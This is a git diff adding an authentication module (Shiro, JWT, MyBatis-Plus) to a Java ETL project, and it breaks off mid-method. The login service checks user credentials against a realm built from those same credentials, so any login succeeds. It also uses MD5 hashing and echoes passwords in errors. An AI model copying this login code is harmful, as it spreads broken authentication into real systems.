"RequestMappingsPanelWidth0": "75", - "RequestMappingsPanelWidth1": "75", - "RunOnceActivity.OpenProjectViewOnStart": "true", - "RunOnceActivity.ShowReadmeOnStart": "true", - "SHARE_PROJECT_CONFIGURATION_FILES": "true", - "WebServerToolWindowFactoryState": "false", - "git-widget-placeholder": "main", - "jdk.selected.JAVA_MODULE": "1.8", - "last_opened_file_path": "D:/workspace/etl-cloud/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/req", - "node.js.detected.package.eslint": "true", - "node.js.detected.package.tslint": "true", - "node.js.selected.package.eslint": "(autodetect)", - "node.js.selected.package.tslint": "(autodetect)", - "nodejs_package_manager_path": "npm", - "project.structure.last.edited": "模块", - "project.structure.proportion": "0.17", - "project.structure.side.proportion": "0.29885057", - "settings.editor.selected.configurable": "preferences.lookFeel", - "spring.configuration.checksum": "1d871ffdc938601b3b3345b2b129e57c", - "vue.rearranger.settings.migration": "true" + +}]]> @@ -164,6 +169,9 @@ + + + @@ -180,40 +188,13 @@ - - - - + + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - + @@ -234,6 +215,19 @@ + + + + + + + + + + + + + @@ -247,13 +241,26 @@ + + + + + + + + + + + + + + + + - - - @@ -277,7 +284,10 @@ - + + + + @@ -319,7 +329,15 @@ 1719282658302 - + + + 1719362747245 + + + + 1719362747245 + + @@ -340,7 +358,8 @@ - + + diff --git a/etl-auth/etl-auth-common/pom.xml b/etl-auth/etl-auth-common/pom.xml new file mode 100644 index 0000000..f1a8fab --- /dev/null +++ b/etl-auth/etl-auth-common/pom.xml @@ -0,0 +1,55 @@ + + + 4.0.0 + + com.bwie + etl-auth + 1.0-SNAPSHOT + + pom + etl-auth-common + + 1.8 + UTF-8 + UTF-8 + 2.6.13 + + + + com.bwie + etl-common + 1.0-SNAPSHOT + + + com.baomidou + mybatis-plus-boot-starter + + + org.springframework.boot + spring-boot-starter-jdbc + + + + com.mysql + mysql-connector-j + runtime + + + org.projectlombok + lombok + true + + + org.springframework.boot + spring-boot-starter-test + test + + + io.swagger + swagger-annotations + 1.6.6 + compile + + + diff --git a/etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/PathPermission.java b/etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/PathPermission.java new file mode 100644 index 0000000..43726c2 --- /dev/null +++ b/etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/PathPermission.java @@ -0,0 +1,33 @@ +package com.auth.common.entity; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import io.swagger.annotations.ApiModelProperty; +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +@Data +@AllArgsConstructor +@NoArgsConstructor +@TableName("t_data_source") +public class PathPermission { + @TableId(value = "id",type = IdType.AUTO) + private Integer id; + + @ApiModelProperty(value = "权限代号") + private String permissionCode; + + @ApiModelProperty(value = "路由层次") + private String hierarchy; + + @ApiModelProperty(value = "路由") + private String path; + + @ApiModelProperty(value = "功能描述") + private String description; + + @ApiModelProperty(value = "状态 0-废弃 1-正在使用") + private boolean status; +} diff --git a/etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/RolesPermission.java b/etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/RolesPermission.java new file mode 100644 index 0000000..7860c7d --- /dev/null +++ b/etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/RolesPermission.java @@ -0,0 +1,24 @@ +package com.auth.common.entity; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import io.swagger.annotations.ApiModelProperty; +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +@Data +@TableName("t_role_source") +@AllArgsConstructor +@NoArgsConstructor +public class RolesPermission { + @TableId(value = "id",type = IdType.AUTO) + private Integer id; + + @ApiModelProperty(value = "权限代号") + private String permissionCode; + + @ApiModelProperty(value = "角色") + private String role; +} diff --git a/etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/UserAccount.java b/etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/UserAccount.java new file mode 100644 index 0000000..db1f24e --- /dev/null +++ b/etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/UserAccount.java @@ -0,0 +1,26 @@ +package com.auth.common.entity; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import io.swagger.annotations.ApiModelProperty; +import lombok.Data; + +@Data +@TableName("t_user") +public class UserAccount { + @TableId(value = "id",type = IdType.AUTO) + private Integer id; + + @ApiModelProperty("角色") + private String roles; + + @ApiModelProperty("名称") + private String username; + + @ApiModelProperty("密码/") + private String password; + +// @ApiModelProperty("uuid") +// private String UUID; +} diff --git a/etl-auth/etl-auth-common/src/main/java/com/auth/common/enums/PermissionConstants.java b/etl-auth/etl-auth-common/src/main/java/com/auth/common/enums/PermissionConstants.java new file mode 100644 index 0000000..25a97d9 --- /dev/null +++ b/etl-auth/etl-auth-common/src/main/java/com/auth/common/enums/PermissionConstants.java @@ -0,0 +1,13 @@ +package com.auth.common.enums; + +public class PermissionConstants { + public static final String ROLES = "roles"; + public static final String CODE_LIST = "codeList"; + public static final String ROLE = "role"; + public static final String PERMISSION_CODE = "permission_code"; + public static final String USER_CACHE_KEY = "user:username:"; + public static final String USER_KEY = "user:key:"; + public static final String USER_NAME = "username"; + + public static final String USER_ID = "userId"; +} diff --git a/etl-auth/etl-auth-server/pom.xml b/etl-auth/etl-auth-server/pom.xml new file mode 100644 index 0000000..9a080dc --- /dev/null +++ b/etl-auth/etl-auth-server/pom.xml @@ -0,0 +1,154 @@ + + + 4.0.0 + + com.bwie + etl-auth + 1.0-SNAPSHOT + + etl-auth-server + + 1.8 + UTF-8 + UTF-8 + 2.6.13 + 2021.0.5.0 + + + + com.bwie + etl-auth-common + 1.0-SNAPSHOT + + + org.springframework.boot + spring-boot-starter-thymeleaf + + + + org.apache.shiro + shiro-spring + 1.4.0 + + + io.springfox + springfox-swagger2 + 3.0.0 + + + com.bwie + etl-jwt-manage + 1.0-SNAPSHOT + + + servlet-api + javax.servlet + + + + + com.bwie + etl-common + 1.0-SNAPSHOT + + + com.mysql + mysql-connector-j + + + com.github.xiaoymin + knife4j-spring-boot-starter + 3.0.3 + + + com.baomidou + mybatis-plus-boot-starter + 3.5.4.1 + + + org.projectlombok + lombok + + + org.springframework.cloud + spring-cloud-starter-bootstrap + 3.1.7 + + + + org.apache.shiro + shiro-spring + 1.4.0 + + + org.springframework.boot + spring-boot-starter-web + + + com.alibaba.cloud + spring-cloud-starter-alibaba-nacos-config + + + com.alibaba.cloud + spring-cloud-starter-alibaba-nacos-discovery + + + + org.springframework.boot + spring-boot-starter-test + test + + + + + + org.springframework.boot + spring-boot-dependencies + ${spring-boot.version} + pom + import + + + com.alibaba.cloud + spring-cloud-alibaba-dependencies + ${spring-cloud-alibaba.version} + pom + import + + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.8.1 + + 1.8 + 1.8 + UTF-8 + + + + org.springframework.boot + spring-boot-maven-plugin + ${spring-boot.version} + + com.auth.server.EtlAuthServerApplication + true + + + + repackage + + repackage + + + + + + + + diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/EtlAuthServerApplication.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/EtlAuthServerApplication.java new file mode 100644 index 0000000..b03809f --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/EtlAuthServerApplication.java @@ -0,0 +1,25 @@ +package com.auth.server; + +import org.mybatis.spring.annotation.MapperScan; +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; + +@SpringBootApplication +@MapperScan("com.auth.server.mapper") +@ComponentScan(basePackages = {"com.etl.jwt.util", "com.etl.jwt.config", + "com.auth.server.controller","com.auth.server.service","com.auth.server.service.impl","com.auth.server.config"}) +public class EtlAuthServerApplication { + + public static void main(String[] args) { + SpringApplication.run(EtlAuthServerApplication.class, args); + } + + @Bean + public BCryptPasswordEncoder encryptPasswordEncoder(){ + return new BCryptPasswordEncoder(); + } + +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/config/MD5s.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/config/MD5s.java new file mode 100644 index 0000000..cacd61c --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/config/MD5s.java @@ -0,0 +1,44 @@ +package com.auth.server.config; + + +import org.apache.http.util.TextUtils; +import org.apache.shiro.crypto.hash.HashRequest; + +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; + +/* + * MD5 算法 + */ + +public class MD5s { + + public static String md5(String string) { + if (TextUtils.isEmpty(string)) { + return ""; + } + MessageDigest md5 = null; + try { + md5 = MessageDigest.getInstance("MD5"); + byte[] bytes = md5.digest(string.getBytes()); + String result = ""; + for (byte b : bytes) { + String temp = Integer.toHexString(b & 0xff); + if (temp.length() == 1) { + temp = "0" + temp; + } + result += temp; + } + return result; + } catch (NoSuchAlgorithmException e) { + e.printStackTrace(); + } + HashRequest request = new HashRequest.Builder() + .setAlgorithmName("MD5") // 使用 SHA-256 算法 + .setSource(string.getBytes()) // 要散列的密码(作为字节数组) + .build(); + //passwordService.encryptPassword(request); + return ""; + } + +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/config/MvcConfig.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/config/MvcConfig.java new file mode 100644 index 0000000..d9d7556 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/config/MvcConfig.java @@ -0,0 +1,18 @@ +//package com.auth.server.config; +//import com.auth.server.interceptor.UserInterceptor; +//import com.auth.server.mapper.UserMangeMapper; +//import org.springframework.beans.factory.annotation.Autowired; +//import org.springframework.context.annotation.Configuration; +//import org.springframework.web.servlet.config.annotation.InterceptorRegistry; +//import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; +//@Configuration +//public class MvcConfig implements WebMvcConfigurer { +// @Autowired +// private UserMangeMapper userMangeMapper; +// @Override +// public void addInterceptors(InterceptorRegistry registry) { +// //添加拦截器,排除/路径和 /login路径 +// registry.addInterceptor(new UserInterceptor(userMangeMapper)) +// .excludePathPatterns("/","/user/login"); +// } +//} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/config/ShiroConfig.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/config/ShiroConfig.java new file mode 100644 index 0000000..0f29627 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/config/ShiroConfig.java @@ -0,0 +1,69 @@ +package com.auth.server.config; + + +import com.auth.server.util.UserRealm; +import org.apache.shiro.authc.credential.HashedCredentialsMatcher; +import org.apache.shiro.spring.web.ShiroFilterFactoryBean; +import org.apache.shiro.web.mgt.DefaultWebSecurityManager; + +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import java.util.LinkedHashMap; +import java.util.Map; + +@Configuration +public class ShiroConfig { + + //此处用于实现授权功能,配置需要拦截的接口 + //此处用于实现授权功能,配置需要拦截的接口 + @Bean + public ShiroFilterFactoryBean getShiroFilterFactoryBean(@Qualifier("getDefaultWebSecurityManager") DefaultWebSecurityManager defaultWebSecurityManager) { + ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean(); + shiroFilterFactoryBean.setSecurityManager(defaultWebSecurityManager); + //拦截页面 + Map filterMap = new LinkedHashMap<>(); + //登录/登出,所有人的权限 + filterMap.put("/user/login", "anon"); + filterMap.put("/user/logout", "anon"); + + shiroFilterFactoryBean.setFilterChainDefinitionMap(filterMap); + //未登录页面跳转 + shiroFilterFactoryBean.setLoginUrl("/user/show"); + //未有权限页面跳转 + shiroFilterFactoryBean.setUnauthorizedUrl("/user/unauthorized"); + + return shiroFilterFactoryBean; + } + + //注入对应的userRealm类 + @Bean + public DefaultWebSecurityManager getDefaultWebSecurityManager(@Qualifier("userRealm") UserRealm userRealm) { + DefaultWebSecurityManager SecurityManager = new DefaultWebSecurityManager(); + SecurityManager.setRealm(userRealm); + return SecurityManager; + } + @Bean + public UserRealm userRealm() { + UserRealm userRealm = new UserRealm(); + //注册MD5加密 + userRealm.setCredentialsMatcher(hashedCredentialsMatcher()); + return userRealm; + } + + /** + * 设置shiro加密方式 + * @return HashedCredentialsMatcher + */ + @Bean + public HashedCredentialsMatcher hashedCredentialsMatcher(){ + HashedCredentialsMatcher hashedCredentialsMatcher = new HashedCredentialsMatcher(); + // 使用md5 算法进行加密 + hashedCredentialsMatcher.setHashAlgorithmName("MD5"); + // 设置散列次数: 意为加密几次 + hashedCredentialsMatcher.setHashIterations(2); + + return hashedCredentialsMatcher; + } +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/controller/LoginControler.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/controller/LoginControler.java new file mode 100644 index 0000000..7aa273d --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/controller/LoginControler.java @@ -0,0 +1,84 @@ +package com.auth.server.controller; + +import com.alibaba.fastjson2.JSON; +import com.alibaba.nacos.api.model.v2.Result; +import com.auth.common.entity.UserAccount; +import com.auth.common.enums.PermissionConstants; +import com.auth.server.service.UserManageService; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.etl.common.enums.ResponseCodeEnum; +import com.etl.common.result.CommonResult; +import com.etl.jwt.util.JwtTokenUtil; +import com.github.xiaoymin.knife4j.annotations.ApiOperationSupport; +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.StringUtils; +import org.apache.shiro.SecurityUtils; +import org.apache.shiro.authc.*; +import org.apache.shiro.mgt.DefaultSecurityManager; +import org.apache.shiro.realm.SimpleAccountRealm; +import org.apache.shiro.subject.Subject; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.data.redis.core.StringRedisTemplate; +import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import java.util.Map; +import java.util.UUID; +import java.util.concurrent.TimeUnit; + +/** + * 登录 controller层 + */ +@RestController +@Slf4j +@Api(tags = "登录-API") +@RequestMapping("/user") +public class LoginControler { + @Autowired + private UserManageService userManageService; + + /** + * 用户登录 (使用用户名) + * + * @param user + * @return + */ + @ApiOperation(value = "用户登录") + @ApiOperationSupport(author = "liz") + @RequestMapping(value = "/login", method = RequestMethod.POST) + public Result userLogin(@RequestBody UserAccount user) { + + return userManageService.userLogin(user); + + } + + + /** + * 刷新JWT令牌,用旧的令牌换新的令牌 + * 参数为需要刷新的令牌 + * header中携带刷新令牌 + */ + + /** + * 当认证服务返回给客户端的 JWT 也就是 access_token 过期后,客户端如果需要再次通过发送登录请求重新拿到 access_token会使得用户体验很不友好。 + * 而JWT 生成后是不能篡改里面的内容,即使是 JWT 的有效期也不行。所以延长 access_token 有效期的做法并不适合,而且如果长期保持一个 access_token 有效, + * 也是不安全的。所以我们时常使用refresh token来进行token的刷新。 + * + * 我们一般会把 refresh_token 设置的过期时间稍微长一点,比如两倍于 access_token,当 access_token 过期后,refresh_token 如果还没有过期, + * 就可以利用两者的过期时间差进行重新生成令牌的操作,也就是刷新令牌,同时删除掉redis中缓存的旧令牌。 + * + * @param token + * @return + */ + @RequestMapping(value = "/token/refresh", method = RequestMethod.GET) + @ApiOperation(value = "刷新令牌") + @ApiOperationSupport(author = "liz") + public CommonResult refreshToken(@RequestHeader(value = "${auth.jwt.header}") String token) { + + return userManageService.refreshToken(token); + + } +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/controller/PermissionController.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/controller/PermissionController.java new file mode 100644 index 0000000..1569cd3 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/controller/PermissionController.java @@ -0,0 +1,52 @@ +package com.auth.server.controller; + +import com.auth.common.entity.PathPermission; +import com.auth.common.entity.RolesPermission; +import com.auth.common.enums.PermissionConstants; +import com.auth.server.service.PathService; +import com.auth.server.service.PermissionService; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import io.swagger.annotations.Api; +import org.apache.commons.lang3.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; + +/** + * 角色权限 controller层 + */ +@RestController +@Api(tags ="权限-API") +@RequestMapping("/permission") +public class PermissionController { + @Autowired + private PermissionService permissionService; + + @Resource + private PathService pathService; + + @PostMapping("/permission/add") + public boolean permissionAdd(@RequestBody Map map) { + String roles = (String) map.get(PermissionConstants.ROLES); + List codeList = (List) map.get(PermissionConstants.CODE_LIST); + return permissionService.permissionAdd(roles, codeList); + } + + @GetMapping("/get") + public List pathGet(@RequestParam("roles") String roles) { + RolesPermission permission = permissionService.getOne(new QueryWrapper().eq(PermissionConstants.ROLE,roles)); + String codes = StringUtils.strip(permission.getPermissionCode(), "[]"); + List list = Arrays.asList(codes.split(",")); + List pathList = new ArrayList<>(); + for(String code:list){ + String api = pathService.getOne(new QueryWrapper().eq(PermissionConstants.PERMISSION_CODE,code.trim())).getPath(); + pathList.add(api); + } + return pathList; + } +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/interceptor/UserInterceptor.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/interceptor/UserInterceptor.java new file mode 100644 index 0000000..19a535d --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/interceptor/UserInterceptor.java @@ -0,0 +1,31 @@ +//package com.auth.server.interceptor; +//import com.auth.server.mapper.UserMangeMapper; +//import org.springframework.web.servlet.HandlerInterceptor; +//import javax.servlet.http.HttpServletRequest; +//import javax.servlet.http.HttpServletResponse; +//import javax.servlet.http.HttpSession; +//public class UserInterceptor implements HandlerInterceptor { +// private UserMangeMapper userMangeMapper; +// public UserInterceptor(UserMangeMapper userMapper){ +// this.userMangeMapper=userMapper; +// } +// @Override +// public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { +// HttpSession session = request.getSession(); +// String username = (String) session.getAttribute("username"); +// //数据库 +// String UUID=userMangeMapper.getUUID(username); +// //session +// String uuid = (String)session.getAttribute("uuid"); +// System.out.println("uuid = " + uuid); +// System.out.println("UUID = " + UUID); +// if(UUID.equals(uuid)){ +// return true; +// }else { +// System.out.println("拦截"+request.getRequestURI()); +// response.sendRedirect("/login"); +// response.setStatus(401); +// return false; +// } +// } +//} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PathMapper.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PathMapper.java new file mode 100644 index 0000000..e243793 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PathMapper.java @@ -0,0 +1,8 @@ +package com.auth.server.mapper; + +import com.auth.common.entity.PathPermission; +import com.auth.common.entity.RolesPermission; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +public interface PathMapper extends BaseMapper { +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PermissionMapper.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PermissionMapper.java new file mode 100644 index 0000000..42e3bed --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PermissionMapper.java @@ -0,0 +1,8 @@ +package com.auth.server.mapper; + + +import com.auth.common.entity.RolesPermission; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +public interface PermissionMapper extends BaseMapper { +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/UserMangeMapper.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/UserMangeMapper.java new file mode 100644 index 0000000..9a770ef --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/UserMangeMapper.java @@ -0,0 +1,12 @@ +package com.auth.server.mapper; + + +import com.auth.common.entity.UserAccount; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import org.apache.ibatis.annotations.Mapper; + +@Mapper +public interface UserMangeMapper extends BaseMapper { + +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PathService.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PathService.java new file mode 100644 index 0000000..b555b70 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PathService.java @@ -0,0 +1,9 @@ +package com.auth.server.service; + +import com.auth.common.entity.PathPermission; +import com.auth.common.entity.RolesPermission; +import com.auth.common.entity.UserAccount; +import com.baomidou.mybatisplus.extension.service.IService; + +public interface PathService extends IService { +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PermissionService.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PermissionService.java new file mode 100644 index 0000000..d487e57 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PermissionService.java @@ -0,0 +1,11 @@ +package com.auth.server.service; + +import com.auth.common.entity.RolesPermission; +import com.auth.common.entity.UserAccount; +import com.baomidou.mybatisplus.extension.service.IService; + +import java.util.List; + +public interface PermissionService extends IService { + boolean permissionAdd(String roles, List codeList); +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/UserManageService.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/UserManageService.java new file mode 100644 index 0000000..949f8b8 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/UserManageService.java @@ -0,0 +1,15 @@ +package com.auth.server.service; + +import com.alibaba.nacos.api.model.v2.Result; +import com.auth.common.entity.UserAccount; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.etl.common.result.CommonResult; + +public interface UserManageService extends IService { + + + Result userLogin(UserAccount user); + + CommonResult refreshToken(String token); +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PathServiceImpl.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PathServiceImpl.java new file mode 100644 index 0000000..8e4475a --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PathServiceImpl.java @@ -0,0 +1,16 @@ +package com.auth.server.service.impl; + +import com.auth.common.entity.PathPermission; +import com.auth.common.entity.RolesPermission; +import com.auth.server.mapper.PathMapper; +import com.auth.server.mapper.PermissionMapper; +import com.auth.server.service.PathService; +import com.auth.server.service.PermissionService; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Service; + +@Service +@Slf4j +public class PathServiceImpl extends ServiceImpl implements PathService { +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PermissionServiceImpl.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PermissionServiceImpl.java new file mode 100644 index 0000000..dc99f92 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PermissionServiceImpl.java @@ -0,0 +1,61 @@ +package com.auth.server.service.impl; + +import com.auth.common.entity.RolesPermission; +import com.auth.common.enums.PermissionConstants; +import com.auth.server.mapper.PermissionMapper; +import com.auth.server.service.PermissionService; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import java.util.Collections; +import java.util.List; + +@Service +@Slf4j +public class PermissionServiceImpl extends ServiceImpl implements PermissionService { + @Autowired + private PermissionMapper permissionMapper; + + @Override + public boolean permissionAdd(String roles, List codeList) { + RolesPermission rolesPermission = new RolesPermission(); + rolesPermission.setRole(roles); + int result = 0; + RolesPermission role = getRoleByName(roles); + + if (role != null) { + result = updateRolePermission(rolesPermission, role, codeList); + } else { + result = insertRolePermission(rolesPermission, codeList); + } + return result > 0; + } + + private RolesPermission getRoleByName(String roleName) { + return permissionMapper.selectOne(new QueryWrapper().eq(PermissionConstants.ROLE, roleName)); + } + + private int updateRolePermission(RolesPermission rolesPermission, RolesPermission role, List codeList) { + //去掉头尾括号,并转为列表 + List list = new java.util.ArrayList<>(Collections.singletonList( + StringUtils.strip(role.getPermissionCode(), "[]"))); + //将新数据添加至列表 + list.addAll(codeList); + + rolesPermission.setPermissionCode(list.toString()); + rolesPermission.setId(role.getId()); + return permissionMapper.updateById(rolesPermission); + } + + private int insertRolePermission(RolesPermission rolesPermission, List codeList) { + if (codeList != null) { + rolesPermission.setPermissionCode(codeList.toString()); + } + return permissionMapper.insert(rolesPermission); + } + +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/UserManageServiceImpl.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/UserManageServiceImpl.java new file mode 100644 index 0000000..a594d0a --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/UserManageServiceImpl.java @@ -0,0 +1,168 @@ +package com.auth.server.service.impl; + + +import com.alibaba.fastjson2.JSON; +import com.alibaba.nacos.api.model.v2.Result; +import com.auth.common.entity.UserAccount; +import com.auth.common.enums.PermissionConstants; +import com.auth.server.config.MD5s; +import com.auth.server.mapper.UserMangeMapper; +import com.auth.server.service.UserManageService; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.etl.common.enums.ResponseCodeEnum; +import com.etl.common.result.CommonResult; +import com.etl.jwt.util.JwtTokenUtil; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.StringUtils; +import org.apache.shiro.SecurityUtils; +import org.apache.shiro.authc.*; +import org.apache.shiro.mgt.DefaultSecurityManager; +import org.apache.shiro.realm.SimpleAccountRealm; +import org.apache.shiro.subject.Subject; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.data.redis.core.StringRedisTemplate; +import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import static java.lang.System.nanoTime; + +@Service +@Slf4j +public class UserManageServiceImpl extends ServiceImpl implements UserManageService { + @Resource + private StringRedisTemplate stringRedisTemplate; + + @Resource + private JwtTokenUtil jwtTokenUtil; + + @Autowired + private UserMangeMapper UserMangeMapper; + + @Override + public Result userLogin(UserAccount user) { + long startTime = nanoTime(); + // 获取用户名 + String username = user.getUsername(); + // 获取密码 + String password = user.getPassword(); + // 参数校验 + Result result = checkUser(username, password); + if (result != null) { + return result; + } + // 创建SimpleAccountRealm并添加账户信息 + SimpleAccountRealm simpleAccountRealm = new SimpleAccountRealm(); + // 确保这里添加的用户名和密码与用户提供的匹配 + simpleAccountRealm.addAccount(username, password); + // 配置SecurityManager并设置Realm + DefaultSecurityManager securityManager = new DefaultSecurityManager(simpleAccountRealm); + securityManager.setRealm(simpleAccountRealm); + SecurityUtils.setSecurityManager(securityManager); + //shiro验证 + Subject subject = SecurityUtils.getSubject(); + //根据用户名密码生成一个令牌 + AuthenticationToken token = new UsernamePasswordToken(username, password); + try { + //执行登录操作 + subject.login(token); + //将用户信息存入redis + saveUserInfoToRedis(username, user); + } catch (UnknownAccountException e) { + log.info("登录用户不存在:{}", e); + return new Result<>(416, "用户不存在", username); + } catch (IncorrectCredentialsException e) { + log.info("登录密码错误:{}", e); + return new Result<>(412, "密码错误,请重新登录", password); + } catch (AuthenticationException e) { + log.warn("用户登录异常:" + e.getMessage()); + return new Result<>(416, "账户异常", username); + } + String userInfo = stringRedisTemplate.opsForValue().get(PermissionConstants.USER_NAME + username); + UserAccount account = null; + if (userInfo != null) { + account = JSON.parseObject(userInfo, UserAccount.class); + } else { + //获取登录用户信息 + account = UserMangeMapper.selectOne(new QueryWrapper().eq(PermissionConstants.USER_NAME, username)); + stringRedisTemplate.opsForValue().set(PermissionConstants.USER_NAME + username, JSON.toJSONString(account)); + } + // 通过 jwtTokenUtil 生成 JWT 令牌和刷新令牌 + Map tokenMap = jwtTokenUtil + .generateTokenAndRefreshToken(String.valueOf(account.getId()), username); + // 用户角色映射表中中查询用户角色 + account.getRoles(); + long endTime = nanoTime(); + // 计算耗时(单位为纳秒) + long elapsedTime = endTime - startTime; + // 将耗时转换为毫秒 + double elapsedTimeInMillis = elapsedTime / 1000000.0; + // 输出结果 + System.out.println("程序运行耗时:" + elapsedTimeInMillis + " 毫秒"); + return Result.success(tokenMap); + } + + + private void saveUserInfoToRedis(String username, UserAccount user) { + stringRedisTemplate.opsForValue().set(PermissionConstants.USER_CACHE_KEY + username, + JSON.toJSONString(user), 30 * 60, TimeUnit.MINUTES); + } + + private Result checkUser(String username, String password) { + // 检查用户名和密码的合法性 + if (StringUtils.isEmpty(username) || StringUtils.isEmpty(password)) { + return new Result<>(400, "用户名或密码不能为空"); + } + if (username.length() < 3 || username.length() > 20) { + return new Result<>(400, "用户名长度必须在6-20个字符之间"); + } + if (password.length() < 3 || password.length() > 20) { + return new Result<>(400, "密码长度必须在6-20个字符之间"); + } + return null; + } + + @Override + public 